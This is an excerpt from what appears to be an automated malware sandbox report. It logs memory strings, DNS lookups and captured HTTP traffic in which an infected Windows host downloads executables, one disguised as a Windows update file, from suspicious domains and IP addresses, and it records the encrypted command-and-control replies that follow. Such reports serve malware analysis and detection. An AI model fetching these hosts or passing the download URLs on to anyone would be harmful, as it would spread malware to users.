Source: svchost.exe, 0000000A.00000003.283348102.0000021A33231000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.308656175.0000021A3323A000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000A.00000002.308686012.0000021A33242000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305057096.0000021A33241000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen19
Source: svchost.exe, 0000002F.00000003.406565308.000001379717C000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406653017.00000137971CE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406610529.0000013797198000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 0000002F.00000003.406565308.000001379717C000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406653017.00000137971CE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406610529.0000013797198000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 0000002F.00000003.407630101.00000137971A4000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.407734160.000001379717C000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.407790447.0000013797602000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.407773416.000001379718D000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.407700908.00000137971A4000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\254E.exe

Code function: 28_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

28_2_00404BE0

Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /l3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: GET /book/KB5009812.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 74.201.28.62
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /l2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: GET /book/KB5009812.png HTTP/1.1Host: 74.201.28.62Connection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:04:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 1f b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:04:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:04:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:04:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:04:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:04:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:04:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 38 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 eb 98 bd a5 1d b7 51 d8 6d a5 1b 46 9b 10 bc be 71 b0 64 56 11 b1 b6 d8 40 fa 0f 85 1d 87 aa 64 9a 66 b0 f3 ce 13 6b b7 e4 4b 35 a9 f2 e0 0d 0a 30 0d 0a 0d 0a Data Ascii: 48I:82OOjQmFqdV@dfkK50
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
